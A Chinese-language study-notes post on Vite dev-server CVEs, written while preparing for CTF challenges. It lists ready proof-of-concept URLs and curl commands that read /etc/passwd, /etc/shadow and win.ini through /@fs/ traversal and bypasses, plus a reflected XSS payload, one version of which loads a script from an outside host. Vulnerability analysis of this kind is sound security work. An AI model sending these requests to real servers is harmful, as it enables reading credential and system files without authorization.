Vite相关CVE
Vite相关CVE
TG遇到了Vite这个东西,出了三个前端的cve题目,都是很新鲜的cve,因此想着了解一下Vite相关的cve,复现可能要等后面学了ts再看了唉唉。。
CVE-2022-35204
Vite的一个任意文件读取漏洞
vite 默认启用的 /@fs/
路由用于访问任意本地文件
但是正常访问是会被block的
但是可以利用../
绕过进行任意文件读
目前还未复现,贴上别的师傅打好的poc
curl --path-as-is http://localhost:3000/@fs/home/swwind/tmp/cve/CVE-2022-35204/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/hosts
//原链接 https://blog.sww.moe/post/exploits/cve-2022-35204/
这个漏洞的成因大概就是decodeURI这个函数的漏洞
decodeURI在解码时会将大部分的ASCII标点符号和预留字符保留不变,包括/和%2f
这样就会导致/../未被检测到而绕过了安全检测
传入的/home/swwind/tmp/cve/CVE-2022-35204/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/hosts 的时候,decodeURI 函数解析出来的结果会保留其中的所有 %2f,再经由下一步的 path.resolve 函数解析,最终结果是 /home/swwind/tmp/cve/CVE-2022-35204/..%2f..%2f..%2f..%2f../etc/hosts,由此非常轻松地就绕过了 vite 的允许目录检查。
相比之下,decodeURIcomponent就要好一些,因为其解码 URI 组件中的字符,而不是完整的 URI。它可以正确解码任何 ASCII 字符或 UTF-8 字符集,包括默认 URI 编码中使用的所有预留字符和其他特殊字符
在decodeURIcomponent的处理后,传入的参数被解析为/home/swwind/tmp/cve/CVE-2022-35204/../../../../../etc/hosts
,会被正确过滤为/etc/hosts
,从而防御了任意文件读取
CVE-2023-49293
Vite的一个XSS漏洞
复现可能要回头了把XSS vulnerability in server.transformIndexHtml
via URL payload · Advisory · vitejs/vite · GitHub
poc就是直接在后面query打一个普通的反射xss语句,直接弹
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E
//?"></script><script>alert('boom')</script>
再尝试构造弹了一下
?"></script><script src="https://71g9hx8u.requestrepo.com/";> < /script>
CVE-2025-30208
还是相同的@fs
的利用
这边贴poc,回头会补复现
/@fs/etc/passwd?import&raw??
/@fs/etc/passwd?raw??
Vite 任意文件读取漏洞分析复现(CVE-2025-30208) | 小艾博客
CVE-2025-31125
这个洞是利用inline的规则配合.wsam进行绕过(是对上一个CVE的补丁的绕过)
/@fs/C://windows/win.ini?import&inline=1.wasm?init
还有两个下面那个大佬打出来的未公开poc//适用6.2.4
/@fs/etc/passwd?import&?meteorkai.svg?.wasm?init
/@fs/etc/shadow?meteorkai.svg?.wasm?init //这里没有import是因为读取的文件没有后缀,isJSRequest为true
这边引用一下大佬的解释好了
除了?url和?raw还有一种内联的方法?inline,他的作用是:
将文件(如图片、字体、WASM 等)的内容转换为 Base64 编码字符串 或 直接嵌入到 JS/HTML/CSS 中,避免额外的 HTTP 请求
?init主要用于 WebAssembly(.wasm)文件的初始化,默认只有.wasm支持?init其他如.data、.bin可以通过插件拓展支持
通过这种新的方法绕过了修复后的正则过滤
//原链接https://cloud.tencent.com/developer/article/2513407
Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区
CVE-2025-31486
先贴出poc
/etc/passwd?.svg?.wasm?init
/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw
其中第二个poc是需要先探出大概的路径才能打的
Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31486)-先知社区
CVE-2025-32395
poc
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173